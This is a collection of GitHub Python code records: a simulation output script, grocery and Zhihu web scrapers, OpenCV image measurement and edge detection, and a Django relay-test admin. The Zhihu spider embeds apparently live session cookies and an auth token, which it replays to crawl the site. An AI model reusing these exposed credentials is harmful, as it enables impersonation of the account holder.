accuracy objective functions and other parameters of interest\nAcc,Dist,DPeak,DWidth,BestRatio,AccMethod,TPeak,TWidth,BestNSP,TimeMethod, \\\n AvgNumPart,savefit,savelabel,baseline,savestd,minSP1,minSP2,minSP3,minSP4_1,minSP4_2 \\\n= CalcMinTime(DRM,DRMtheta,DRMphi,MainDir,VRval,deltatheta,minCforGauss,sys.argv[13],Geo,sig,wallwidth,finwidth,s_subdiv)\n#Pick the best combination of time and accuracy (note accuracy must be positive)\nif Dist < 2:\n # Case where there is a clear winner\n if AccMethod == \"Peak\":\n Tmin=TPeak\n Amin=Acc\n elif AccMethod == \"Width\":\n Tmin=TWidth\n Amin=Acc\n else:\n Tmin=np.inf\n Amin=np.inf\n print(\"\")\n print('WARNING: curves could not be distinguished using the peak values or width. This could')\n print('be from bad design parameters or too few simulated particles. Check the number')\n print('of simulated particles and consider increasing it if too few particles are interacting.') \n print(\"\")\nelse:\n # Case where both methods were distinguishable. Pick the method requiring the least counts.\n Amin=Acc\n Tmin=np.min([TWidth,TPeak])\n\n# Calculate total time for one, constant velocity rotation\nNAngles=np.size(DRMtheta)*np.size(DRMphi)\nTtotal=Tmin*np.size(DRMtheta)/np.min([wallwidth,finwidth])\nTavg=Tmin\nAvgAcc=Amin/np.size(DRMphi)\n# ***********************************************************************\n# Write output\n# ***********************************************************************\n# Save DRM info\npd.set_option('display.max_colwidth', 1000)\nOutputdata = {\"DRM\":DRM, \"DRMred\":DRMred, \"DRMtheta\":DRMtheta, \"DRMphi\":DRMphi, \\\n \"savefit\":savefit, \"savelabel\":savelabel, \"minSP1\":minSP1, \"minSP2\":minSP2, \\\n \"minSP3\":minSP3, \"minSP4_1\":minSP4_1, \"minSP4_2\":minSP4_2}\n# Save output\nf = open(sys.argv[2]+\"OutVars.txt\",\"w\")\nf.write( str(Outputdata) )\nf.close()\nnp.savetxt(sys.argv[2]+\"DRM.txt\",DRM,newline=\"\\n\")\nnp.savetxt(sys.argv[2]+\"Fit.txt\",savefit,newline=\"\\n\")\nnp.savetxt(sys.argv[2]+\"Baseline.txt\",baseline,newline=\"\\n\")\nnp.savetxt(sys.argv[2]+\"STD.txt\",savestd,newline=\"\\n\")\n# Pass output to Dakota via file\nf1=open(sys.argv[1], 'w')\nf1.write(\"%s %f\\n%s %f\\n%s %e\\n%s %f\\n%s %f\\n%s %f\\n%s %i\\n%s %f\\n%s %s\\n%s %f\\n%s %f\\n%s %f\\n%s %s\\n%s %e\\n%s %e\\n%s %f\\n%s %f\\n%s %f\" % (\"maxMAC\", \\\nmaxMAC,\"maxSingleMAC\", maxSingleMAC,\"-AvgCountsAngle\", -AvgCountsAngle, \"avgMAC\", avgMAC, \"avgSingleMAC\", \\\navgSingleMAC, \"Acc\", Acc,\"Dist\", Dist, \"BestRatio\", BestRatio, \"AccMethod\", AccMethod,\"TPeak\", TPeak,\"TWidth\", \\\nTWidth,\"BestNSP\", BestNSP, \"TimeMethod\",TimeMethod, \"Tavg\", Tavg, \"Ttotal\", Ttotal, \"Amin\", Amin, \"AvgAcc\", AvgAcc, \\\n\"AvgNumPart\",AvgNumPart))\nf1.close()\nC_df=pd.DataFrame(data=DRM,index=np.ravel(DRMtheta),columns=np.ravel(DRMphi))\nC_df.to_pickle(\"Counts.pkl\")\n\ntoc = time.perf_counter()\nprint(\"Ran in \"+str(toc - tic)+\" seconds\")\n","repo_name":"dholland4/RSM-Optimization","sub_path":"Surrogate_Code/AnalyzeSurr.py","file_name":"AnalyzeSurr.py","file_ext":"py","file_size_in_byte":35878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71910002774","text":"\nfrom services.api_scraper.python.api.api_service import ApiService\n\n\nBASE_URL = \"https://api.coop.nl/INTERSHOP/rest/WFS/COOP-COOPBase-Site/-;\"\nPRODUCT_ATTRIBUTES = \"sku,salePrice,listPrice,availability,manufacturer,image,minOrderQuantity,inStock,promotions,packingUnit,mastered,productMaster,productMasterSKU,roundedAverageRating,longtail,sticker,maxXLabel,Inhoud\"\n\nclass BoodschappenService : \n\n def __init__(self):\n self.api_service = ApiService()\n\n def get_categories(self, category = \"cur=EUR/categories\") :\n\n category_url = BASE_URL + category\n raw_resonse = self.api_service.do_get_request(url=category_url)\n\n return raw_resonse.json()\n\n def get_products(self, offset = 0, limit = 50, with_attributes = True ) :\n\n category_url = BASE_URL + \"cur=EUR/products\" \n\n params = { \"amount\": limit, \"offset\" : offset}\n\n if with_attributes:\n params[\"attrs\"] = PRODUCT_ATTRIBUTES\n \n raw_resonse = self.api_service.do_get_request(url=category_url, params=params)\n\n return raw_resonse.json()\n\n","repo_name":"Us3rname/webshop-scraper","sub_path":"services/api_scraper/coop/src/boodschappen_service.py","file_name":"boodschappen_service.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19904680830","text":"#!/usr/bin/python\r\n###################################################################################################### \r\n# `... ..-` #\r\n# -cpy` `cpy: #\r\n# ```.``` -oo+`````` cpy- ```.`` ```` ``` ``````` ``.``...`` ```` ```` #\r\n# `-/+ocpy+-` -cpy/+cpy+- cpy- `:/+cpy+/-` :oo//+o: `:cpy+o+/-/sy+ocpyso- .cpy- +yy/ #\r\n# `:oo+.../++-`-cpy:..:cpy` cpy- `cpy/.../oo/` :cpy+:-..cpy:..-cpy:-ys-../cpy. :yys` .yys` #\r\n# `cpy. `` -cpy` `cpy. cpy- .cpy` .cpy. :oo+` :oo+` -cpy`s: `cpy/ `+yy/`cpy- #\r\n# `cpy- ...` -cpy` `cpy. cpy- .cpy. -cpy` :oo/` -cpy` -oo+`y/ .cpy- `sys/yy/ #\r\n# -cpy/:/oo+.`-cpy` `cpy. `cpy- :cpy/:/oo+- :oo/` `:oo+::/oo+:cpy+/+cpy/` -cpyyo` #\r\n# `-:///:-` .:::` `:::` :::. `-:///:-` -::- `.-////:-`cpy+/+++/. /cpy. #\r\n# `cpy/ .//cpy: #\r\n# /++- -cpy+. #\r\n######################################################################################################\r\n__author__ = \"Sivashankar Palraj and Apoorv Vaish\"\r\n__copyright__ = \"Copyright 2020, The Cogent Project\"\r\n__credits__ = [\"Sivashankar Palraj\", \"Apoorv Vaish\", \"Gajendra Babu B., Ph. D\"]\r\n__license__ = \"copyright © ChloroPy, Singapore\"\r\n__version__ = \"0.0.1\"\r\n__date__ = \"03-08-2020\"\r\n__maintainer__ = \"Sivashankar Palraj\"\r\n__email__ = \"sivashankaryadav@outlook.com\"\r\n__status__ = \"Production\"\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport os\r\n\r\ndef im_resize(img, scale_percent = 60):\r\n \"\"\"\r\n The function resize the image by Up/Down Scale.\r\n Image and Scale % are the input and Resized Img is Output.\r\n \"\"\"\r\n print('Original Dimensions : ',img.shape)\r\n width = int(img.shape[1] * scale_percent / 100)\r\n height = int(img.shape[0] * scale_percent / 100)\r\n dim = (width, height)\r\n # resize image\r\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\r\n print('Resized Dimensions : ',resized.shape)\r\n\r\n return resized\r\n\r\n\r\n\r\ndef getMeasure(img, showCanny=False):\r\n \"\"\"\r\n The function returns Length and width of the object in Image\r\n \"\"\"\r\n \"\"\" #Converting BGR to Gaay scale Image.\r\n imgGray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n #Since edge detection is susceptible to noise in the image, first step is to remove the noise in the image with a 5x5 Gaussian filter.\r\n imgBlur = cv2.GaussianBlur(imgGray, (5,5), cv2.BORDER_DEFAULT) \"\"\"\r\n imgHsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\r\n lower_Green = np.array([35, 37, 0])\r\n upper_Green = np.array([105, 255, 255])\r\n mask = cv2.inRange(imgHsv, lower_Green, upper_Green)\r\n imgBlur = cv2.GaussianBlur(mask, (5,5), cv2.BORDER_DEFAULT)\r\n #Auto Canny-Edge Detection\r\n imgCanny = cv2.Canny(imgBlur, 100, 100)\r\n kernel = np.ones((5,5))\r\n imgDial = cv2.dilate(imgCanny,kernel,iterations=3)\r\n imgThre = cv2.erode(imgDial,kernel,iterations=2)\r\n if showCanny:cv2.imshow('Canny',imgThre)\r\n #contours,hiearchy = cv2.findContours(imgThre,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\r\n #return contours\r\n\r\ndef Scale(img):\r\n \"\"\"\r\n The function returns a pixel value with respect to 1cm\r\n \"\"\"\r\n print(\" Please select a square with sides as 1cm\")\r\n scale_roi = cv2.selectROI(img)\r\n scale_pixels = scale_roi[3]\r\n return scale_pixels\r\n\r\n\r\ndef main():\r\n filename = \"IMG_8674.JPG\"\r\n fdir = os.path.join(\"C:\\\\Users\\\\USER\\\\Desktop\\\\ChloroPy\", \"images\")\r\n img = cv2.imread(os.path.join(fdir, filename))\r\n img_out = img = im_resize(img, scale_percent=40)\r\n #scale_pixels = Scale(img)\r\n for i in range(1, 11):\r\n roi = cv2.selectROI(img)\r\n img_crop = img[int(roi[1]):int(roi[1]+roi[3]), int(roi[0]):int(roi[0]+roi[2])]\r\n \r\n contours = getMeasure(img_crop, showCanny=True)\r\n print(i, contours)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"9trees/FMS_V0.1","sub_path":"tamil/old_scripts/measure.py","file_name":"measure.py","file_ext":"py","file_size_in_byte":4292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74439853012","text":"from django.contrib import admin\nfrom django.shortcuts import reverse\nfrom django.utils.html import format_html\n\nfrom testboard.models import (\n Machine, Relay, Touch\n)\nfrom utils.driver import (\n test_relay, test_touch\n)\n\n@admin.register(Machine)\nclass MachineAdmin(admin.ModelAdmin):\n\n list_filter = ('type', )\n list_display_links = ('id', 'no')\n list_display = ('id', 'no', 'type', 'log_relay', 'log_touch', 'test_record')\n\n actions = ('test_relay', 'test_touch')\n\n def log_relay(self, obj):\n return format_html(\n '日志',\n reverse('admin:testboard_relay_changelist'), obj.no\n )\n log_relay.short_description = '继电器'\n\n def log_touch(self, obj):\n return format_html(\n '日志',\n reverse('admin:testboard_touch_changelist'), obj.no\n )\n log_touch.short_description = '触点'\n\n def test_record(self, obj):\n return format_html(\n '统计',\n reverse('dashboard')\n )\n test_record.short_description = '测试记录'\n\n def test_relay(self, request, queryset):\n for machine in queryset:\n record = test_relay()\n Relay(\n close=record.get('CV'),\n open=record.get('OV'),\n type=0,\n machine=machine.no\n ).save()\n self.message_user(request, '已保存测试结果到日志记录')\n test_relay.short_description = '测试 继电器'\n\n def test_touch(self, request, queryset):\n for machine in queryset:\n record = test_touch()\n Touch(\n close=record.get('CT'),\n open=record.get('OT'),\n type=3,\n machine=machine.no\n ).save()\n Touch(\n close=record.get('NCR'),\n open=record.get('NOR'),\n type=2,\n machine=machine.no\n ).save()\n self.message_user(request, '已保存测试结果到日志记录')\n test_touch.short_description = '测试 触点'\n\n\n\n@admin.register(Touch)\nclass TouchAdmin(admin.ModelAdmin):\n\n list_per_page = 20\n\n list_filter = ('type', 'machine')\n list_display = (\n 'id', 'close_2f', 'open_2f', 'type', 'time_joined', 'machine'\n )\n\n def close_2f(self, obj):\n return ['%.2f' % close for close in obj.close]\n close_2f.short_description = '闭合'\n\n def open_2f(self, obj):\n return ['%.2f' % open for open in obj.open]\n open_2f.short_description = '释放'\n\n\n@admin.register(Relay)\nclass RelayAdmin(admin.ModelAdmin):\n\n list_per_page = 20\n\n list_filter = ('type', 'machine')\n list_display = (\n 'id', 'close_2f', 'open_2f', 'type', 'time_joined', 'machine'\n )\n\n def close_2f(self, obj):\n return '%.2f' % obj.close\n close_2f.short_description = '闭合'\n\n def open_2f(self, obj):\n return '%.2f' % obj.open\n open_2f.short_description = '释放'\n\nadmin.site.site_header = '信号继电器综合测试台'","repo_name":"1164122936/SignalRelay","sub_path":"testboard/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12445932294","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom urllib import parse\nimport re\nfrom articlespider.items import ZhihuQuestionItem, ZhihuAnswerItem\nfrom scrapy.loader import ItemLoader\nimport json, datetime\n\n\nclass ZhihuSpider(scrapy.Spider):\n name = 'zhihu'\n allowed_domains = ['zhihu.com']\n start_urls = ['http://zhihu.com/']\n start_answer_url = 'http://www.zhihu.com/api/v4/questions/{0}/answers?sort_by=default&include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Cquestion%2Cexcerpt%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cupvoted_followees%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cbadge%5B%3F%28type%3Dbest_answerer%29%5D.topics&limit={1}&offset={2}'\n\n headers = {\n 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding':'gzip, deflate, br',\n 'Accept-Language':'zh-CN,zh;q=0.8',\n 'Cache-Control':'max-age=0',\n 'Connection':'keep-alive',\n 'Host':'www.zhihu.com',\n 'Upgrade-Insecure-Requests':'1',\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 UBrowser/6.2.3637.220 Safari/537.36',\n }\n cookie = {'_zap':'20474f86-aaef-4b4a-9d0d-23d8750d4696',\n 'q_c1':'7c8ba046b5b14d1fb21d88afcbe9dfb9|1506238107000|1506238107000',\n 'aliyungf_tc':'AQAAACEI82+2UAIAYuHGb+14ShtlJNZg',\n 'd_c0':\"AACCn1rtewyPTpMWuqmTIa6NwJXVSiOZNMM=|1507255041\",\n 'q_c1':'5681b4aa114146f2b330d111d9b36d2c|1507261719000|1507261719000',\n 'capsion_ticket':\"2|1:0|10:1507262859|14:capsion_ticket|44:ZGYyYzEzMzAwOGQ4NGFlYWFmNTkxMTkzNmY3YjkwN2Y=|2e48a6c01a91b27a990bfebd8a198a99fea4081784a7842ca7361440cdee620c\",\n 'r_cap_id':\"OTFkNjY3ZDNjYmFlNDU4M2JkYzYxZDRhMzk3M2JkNGU=|1507262878|2442ed83369f1ddade4104db2ed90c2a78ac207d\",\n 'cap_id':\"MTUzYzRkYjNkOTMxNDUwZjlkZGZjYzVkZTE3MzhiNjE=|1507262878|dfb7f223beb5e54fe44fc91663dabc83f6fd8c61\",\n 'z_c0':'Mi4xdVBnZkJnQUFBQUFBQUlLZld1MTdEQmNBQUFCaEFsVk4xbzctV1FDVFpXUU9qelNmQU9Ga1Rqc0Vld09GazVOVkZn|1507262934|9e6d6f15794bbd8d7e7d8f991661680393d03541',\n 's-q':'%E4%BA%BA%E5%B7%A5', 's-i':'1', 'sid':'uob74nu6', 's-t':'autocomplete',\n '__utma':'51854390.375587936.1507255046.1507255046.1507262147.2',\n '__utmb':'51854390.0.10.1507262147',\n '__utmc':'51854390',\n '__utmz':'51854390.1507262147.2.2.utmcsr=zhihu.com|utmccn=(referral)|utmcmd=referral|utmcct=/people/bruce-37-33/activities',\n '__utmv':'51854390.100--|2=registration_date=20171006=1^3=entry_date=20170924=1',\n '_xsrf':'b2871fa4-45f6-4517-b74e-cc7d48c6635c'}\n\n def start_requests(self):\n return [scrapy.Request('https://www.zhihu.com/', headers=self.headers,cookies=self.cookie)]\n\n #提取主页面信息(新的request_url及问题的id)\n def parse(self, response):\n all_urls = response.css('a::attr(href)').extract()\n all_urls = [parse.urljoin(response.url, url) for url in all_urls]\n all_urls = filter(lambda x:True if x.startswith('https') else False, all_urls) # 注意这个用法\n for url in all_urls:\n match_obj = re.match('.*zhihu.com/question/(\\d+)', url)\n if match_obj: # 如果是问答类的url则进行分析,如果不是则继续提取其中的url来分析\n request_url = match_obj.group(0)\n question_id = match_obj.group(1)\n yield scrapy.Request(request_url, meta={'zhihu_id':question_id}, headers=self.headers,cookies=self.cookie,callback=self.parse_question)\n # break\n yield scrapy.Request(request_url, headers=self.headers, cookies=self.cookie, callback=self.parse)\n else:\n # pass\n yield scrapy.Request(url,headers=self.headers, cookies=self.cookie,callback=self.parse)\n def parse_question(self, response):\n #处理'问题‘相关信息, 从页面中提取具体的question items\n #用ItemLoader有一个缺点,就是如果字段为空不会返回None,而是什么都不返回,这就造成入库的时候找不着这个字段\n #所以我们要想办法设置,如果提取不到值,就赋值一个默认值,比如这里的content\n item_loader = ItemLoader(item=ZhihuQuestionItem(), response=response)\n question_id = response.meta.get('zhihu_id')\n\n item_loader.add_css('answer_num', '.List-headerText span::text')\n item_loader.add_css('title', 'h1.QuestionHeader-title::text')\n item_loader.add_value('zhihu_id', question_id)\n item_loader.add_css('topics', '.QuestionHeader-topics .Popover div::text')\n item_loader.add_value('url', response.url)\n item_loader.add_xpath('content', '//div[@class=\"QuestionHeader-detail\"]//text()|' # 注意这里的双斜杠//text()\n '//h1[@class=\"QuestionHeader-title\"]/text()')\n\n item_loader.add_css('comments_num', '.QuestionHeader-Comment button::text')\n item_loader.add_css('watch_user_num', '.NumberBoard-value::text')\n\n question_items = item_loader.load_item()\n yield scrapy.Request(self.start_answer_url.format(question_id, 20, 0),\n headers=self.headers, cookies=self.cookie,\n callback=self.parse_answer)\n yield question_items\n\n def parse_answer(self, response):\n items = ZhihuAnswerItem()\n text = json.loads(response.text) # 这个函数分析的是一个json接口的url,返回的是个json\n\n next_url = text['paging']['next']\n is_end = text['paging']['is_end']\n for data in text['data']:\n items['zhihu_id'] = data['id']\n items['url'] = data['url']\n items['question_id'] = data['question']['id']\n items['author_id'] = data['author']['id'] if 'id' in data['author'] else None # 注意这个用法\n items['content'] = data['content'] if 'content' in data else data['excerpt']\n items['voteup_num'] = data['voteup_count']\n items['comments_num'] = data['comment_count']\n items['create_time'] = data['created_time']\n items['update_time'] = data['updated_time']\n items['crawl_time'] = datetime.datetime.now()\n yield items # 因为data有很多同层级字段,所以每遍历一层就返回一次,不然的话返回的就是最后一次遍历的\n if not is_end: # 如果不是最后一页就继续分析\n yield scrapy.Request(next_url, headers=self.headers, cookies=self.cookie, callback=self.parse_answer)\n\n\n\n","repo_name":"Bruceelv/search_website_build","sub_path":"articlespider/articlespider/spiders/zhihu.py","file_name":"zhihu.py","file_ext":"py","file_size_in_byte":7094,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"34317480326","text":"from setuptools import setup, find_packages\n\nwith open(\"requirements.txt\") as f:\n required = f.read().splitlines()\n\nsetup(\n name='condor',\n version='0.1',\n description='Korean spacing corrector',\n author='MJ Jang',\n install_requires=required,\n packages=find_packages(exclude=['docs', 'tests', 'tmp', 'data', '__pycache__']),\n python_requires='>=3',\n package_data={'condor': ['resources/*']},\n include_package_data=True,\n zip_safe=False,\n)\n","repo_name":"MJ-Jang/Condor","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33439550470","text":"import os\nimport math\nimport numpy as np\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\n\ndef draw_hist(img):\n plt_y = np.zeros(256, dtype=int)\n for y in range(img.height):\n for x in range(img.width):\n plt_y[int(img.getpixel((x, y)))] += 1\n plt_x = np.arange(len(plt_y))\n plt.bar(plt_x, plt_y, width=1)\n plt.show()\n\ndef np_array_to_2d_grayscale_image(np_array, offset=0, detect_boundary=False):\n if(offset != 0):\n for y in range(np_array.shape[0]):\n for x in range(np_array.shape[1]):\n np_array[y, x] = np_array[y, x]+offset\n if(detect_boundary):\n for y in range(np_array.shape[0]):\n for x in range(np_array.shape[1]):\n if(np_array[y, x] < 0):\n np_array[y, x] = 0\n elif(np_array[y, x] > 255):\n np_array[y, x] = 255\n img = Image.fromarray(np_array.astype(np.uint8))\n img.save(\"ReferenceImage/sample3_2x2_binning_90_degrees.png\")\n draw_hist(img)\n return img\n\ndef get_Sobel_edge_image(img, threshold):\n image_gradient = Image.new('L', (img.width, img.height))\n edge_map = Image.new('1', (img.width, img.height))\n array_img = np.array(img, dtype=int)\n array_img = np.pad(array_img, ((1, 1), (1, 1)), 'edge')\n k = 2\n for y in range(1, array_img.shape[0]-1):\n for x in range(1, array_img.shape[1]-1):\n gr = (1/(k+2))*((array_img[y-1,x+1]+k*array_img[y,x+1]+array_img[y+1,x+1])\n -(array_img[y-1,x-1]+k*array_img[y,x-1]+array_img[y+1,x-1]))\n gc = (1/(k+2))*((array_img[y-1,x-1]+k*array_img[y-1,x]+array_img[y-1,x+1])\n -(array_img[y+1,x-1]+k*array_img[y+1,x]+array_img[y+1,x+1]))\n g = (gr**2+gc**2)**0.5\n image_gradient.putpixel((x-1, y-1), int(g))\n if(g < threshold):\n edge_map.putpixel((x-1, y-1), 0)\n else:\n edge_map.putpixel((x-1, y-1), 1)\n return image_gradient, edge_map\n\ndef get_Canny_edge_image(img, th, tl):\n edge_map = Image.new('1', (img.width, img.height))\n\n # step 1\n gaussian_filter_5x5_sigma_1_4 = np.array([[2 , 4 , 5 , 4 , 2 ],\n [4 , 9 , 12, 9 , 4 ],\n [5 , 12, 15, 12, 5 ],\n [4 , 9 , 12, 9 , 4 ],\n [2 , 4 , 5 , 4 , 2 ]], dtype=int)\n array_img = np.array(img, dtype=int)\n array_img = np.pad(array_img, ((2, 2), (2, 2)), 'edge')\n img_smooth = Image.new('L', (img.width, img.height))\n for y in range(2, array_img.shape[0]-2):\n for x in range(2, array_img.shape[1]-2):\n sum = 0\n for j in range(0, 5):\n for i in range(0, 5):\n sum += array_img[y+j-2, x+i-2]*gaussian_filter_5x5_sigma_1_4[j, i]\n sum /= 159\n img_smooth.putpixel((x-2, y-2), int(sum))\n\n # step 2\n array_img_smooth = np.array(img_smooth, dtype=int)\n array_img_smooth_g = np.zeros((img_smooth.height, img_smooth.width), dtype=float)\n array_img_smooth_t = np.zeros((img_smooth.height, img_smooth.width), dtype=float)\n array_img_smooth = np.pad(array_img_smooth, ((1, 1), (1, 1)), 'edge')\n k = 2\n for y in range(1, array_img_smooth.shape[0]-1):\n for x in range(1, array_img_smooth.shape[1]-1):\n gr = (1/(k+2))*((array_img_smooth[y-1,x+1]+k*array_img_smooth[y,x+1]+array_img_smooth[y+1,x+1])\n -(array_img_smooth[y-1,x-1]+k*array_img_smooth[y,x-1]+array_img_smooth[y+1,x-1]))\n gc = (1/(k+2))*((array_img_smooth[y-1,x-1]+k*array_img_smooth[y-1,x]+array_img_smooth[y-1,x+1])\n -(array_img_smooth[y+1,x-1]+k*array_img_smooth[y+1,x]+array_img_smooth[y+1,x+1]))\n array_img_smooth_g[y-1,x-1] = (gr**2+gc**2)**0.5\n if(gr == 0): # avoid divide by zero\n gr = 10e-8\n array_img_smooth_t[y-1,x-1] = math.atan(gc/(gr))\n\n # step 3\n array_img_smooth_g_new = np.copy(array_img_smooth_g)\n array_img_smooth_g = np.pad(array_img_smooth_g, ((1, 1), (1, 1)), 'edge')\n for y in range(1, array_img_smooth_g.shape[0]-1):\n for x in range(1, array_img_smooth_g.shape[1]-1):\n degree = int(math.degrees(array_img_smooth_t[y-1,x-1])%180)\n if(degree < 0):\n degree += 180\n if(degree < 22.5 or degree > 157.5):\n if(array_img_smooth_g[y, x] <= array_img_smooth_g[y, x+1]\n or array_img_smooth_g[y, x] <= array_img_smooth_g[y, x-1]):\n array_img_smooth_g_new[y-1, x-1] = 0\n elif(degree >= 22.5 and degree < 67.5):\n if(array_img_smooth_g[y, x] <= array_img_smooth_g[y-1, x+1]\n or array_img_smooth_g[y, x] <= array_img_smooth_g[y+1, x-1]):\n array_img_smooth_g_new[y-1, x-1] = 0\n elif(degree >= 67.5 and degree < 112.5):\n if(array_img_smooth_g[y, x] <= array_img_smooth_g[y-1, x]\n or array_img_smooth_g[y, x] <= array_img_smooth_g[y+1, x]):\n array_img_smooth_g_new[y-1, x-1] = 0\n elif(degree >= 112.5 and degree < 157.5):\n if(array_img_smooth_g[y, x] <= array_img_smooth_g[y-1, x-1]\n or array_img_smooth_g[y, x] <= array_img_smooth_g[y+1, x+1]):\n array_img_smooth_g_new[y-1, x-1] = 0\n \n # step 4\n array_img_edge = np.zeros((img.height, img.width), dtype=int)\n for y in range(0, array_img_smooth_g_new.shape[0]):\n for x in range(0, array_img_smooth_g_new.shape[1]):\n if(array_img_smooth_g[y, x] >= th): # Edge Pixel\n array_img_edge[y, x] = 2\n elif(array_img_smooth_g[y, x] < tl): # Non-edge Pixel\n array_img_edge[y, x] = 0\n else: # Candidate Pixel\n array_img_edge[y, x] = 1\n \n # step 5\n array_img_edge = np.pad(array_img_edge, ((1, 1), (1, 1)), 'edge')\n for y in range(1, array_img_edge.shape[0]-1):\n for x in range(1, array_img_edge.shape[1]-1):\n if(array_img_edge[y, x] == 2):\n edge_map.putpixel((x-1, y-1), 1)\n elif(array_img_edge[y, x] == 0):\n edge_map.putpixel((x-1, y-1), 0)\n else:\n if(array_img_edge[y-1, x-1] > 0 or array_img_edge[y-1, x] > 0 or\n array_img_edge[y-1, x+1] > 0 or array_img_edge[y, x-1] > 0 or\n array_img_edge[y, x+1] > 0 or array_img_edge[y+1, x-1] > 0 or\n array_img_edge[y+1, x] > 0 or array_img_edge[y+1, x+1] > 0):\n edge_map.putpixel((x-1, y-1), 1)\n else:\n edge_map.putpixel((x-1, y-1), 0)\n return edge_map\n\ndef get_LoG_edge_image(img, threshold):\n edge_map = Image.new('1', (img.width, img.height))\n\n # step 1\n gaussian_filter_5x5 = np.array([[1 , 4 , 7 , 4 , 1 ],\n [4 , 16, 26, 16, 4 ],\n [7 , 26, 41, 26, 7 ],\n [4 , 16, 26, 16, 4 ],\n [1 , 4 , 7 , 4 , 1 ]], dtype=int)\n array_img = np.array(img, dtype=int)\n array_img = np.pad(array_img, ((2, 2), (2, 2)), 'edge')\n img_smooth = Image.new('L', (img.width, img.height))\n for y in range(2, array_img.shape[0]-2):\n for x in range(2, array_img.shape[1]-2):\n sum = 0\n for j in range(0, 5):\n for i in range(0, 5):\n sum += array_img[y+j-2, x+i-2]*gaussian_filter_5x5[j, i]\n sum /= 273\n img_smooth.putpixel((x-2, y-2), int(sum))\n \n # step 2\n high_pass_filter_3x3 = np.array([[-1, -1, -1],\n [-1, 8, -1],\n [-1, -1, -1]], dtype=int)\n array_img_smooth = np.array(img_smooth, dtype=int)\n array_img_smooth = np.pad(array_img_smooth, ((1, 1), (1, 1)), 'edge')\n array_img_LoG = np.zeros((img_smooth.height, img_smooth.width), dtype=int)\n for y in range(1, array_img_smooth.shape[0]-1):\n for x in range(1, array_img_smooth.shape[1]-1):\n sum = 0\n for j in range(0, 3):\n for i in range(0, 3):\n sum += array_img_smooth[y+j-1, x+i-1]*high_pass_filter_3x3[j, i]\n array_img_LoG[y-1, x-1] = sum/8\n \n # step 3: set up a threshold to separate zero and non-zero to get G'\n for y in range(array_img_LoG.shape[0]):\n for x in range(array_img_LoG.shape[1]):\n if(array_img_LoG[y, x] <= threshold and array_img_LoG[y, x] >= -threshold):\n array_img_LoG[y, x] = 0\n \n # step 4: decide whether (j,k) is a zero-crossing point\n array_img_LoG = np.pad(array_img_LoG, ((1, 1), (1, 1)), 'edge')\n for y in range(1, array_img_LoG.shape[0]-1):\n for x in range(1, array_img_LoG.shape[1]-1):\n if(array_img_LoG[y, x] == 0):\n if(array_img_LoG[y, x-1]*array_img_LoG[y, x+1] < 0 or \n array_img_LoG[y+1, x-1]*array_img_LoG[y-1, x+1] < 0 or \n array_img_LoG[y-1, x]*array_img_LoG[y+1, x] < 0 or \n array_img_LoG[y-1, x-1]*array_img_LoG[y+1, x+1] < 0):\n edge_map.putpixel((x-1, y-1), 1)\n else:\n edge_map.putpixel((x-1, y-1), 0)\n else:\n edge_map.putpixel((x-1, y-1), 0)\n return edge_map\n\ndef get_edge_crispening_image(img, c): # 0.6 <= c <= 0.83333\n img_g = Image.new('L', (img.width, img.height))\n low_pass_filter_3x3 = np.array([[1, 1, 1],\n [1, 2, 1],\n [1, 1, 1]], dtype=int)\n array_img = np.array(img, dtype=int)\n array_img = np.pad(array_img, ((1, 1), (1, 1)), 'edge')\n img_l = Image.new('L', (img.width, img.height))\n for y in range(1, array_img.shape[0]-1):\n for x in range(1, array_img.shape[1]-1):\n sum = 0\n for j in range(0, 3):\n for i in range(0, 3):\n sum += array_img[y+j-1, x+i-1]*low_pass_filter_3x3[j, i]\n img_l.putpixel((x-1, y-1), int(sum/10))\n for y in range(img_g.height):\n for x in range(img_g.width):\n g = c/(2*c-1)*img.getpixel((x, y))-(1-c)/(2*c-1)*img_l.getpixel((x, y))\n img_g.putpixel((x, y), int(g))\n return img_g\n\ndef get_morph_optim_image(img): # 8-neighbor dilate\n img_optim_1 = img.copy()\n for y in range(1, img.height-1):\n for x in range(1, img.width-1):\n if(img.getpixel((x, y)) > 0):\n if(img.getpixel((x-1, y-1)) == 0 or img.getpixel((x, y-1)) == 0 or img.getpixel((x+1, y-1)) == 0 or\n img.getpixel((x-1, y)) == 0 or img.getpixel((x+1, y)) == 0 or img.getpixel((x-1, y+1)) == 0 or\n img.getpixel((x, y+1)) == 0 or img.getpixel((x+1, y+1)) == 0):\n 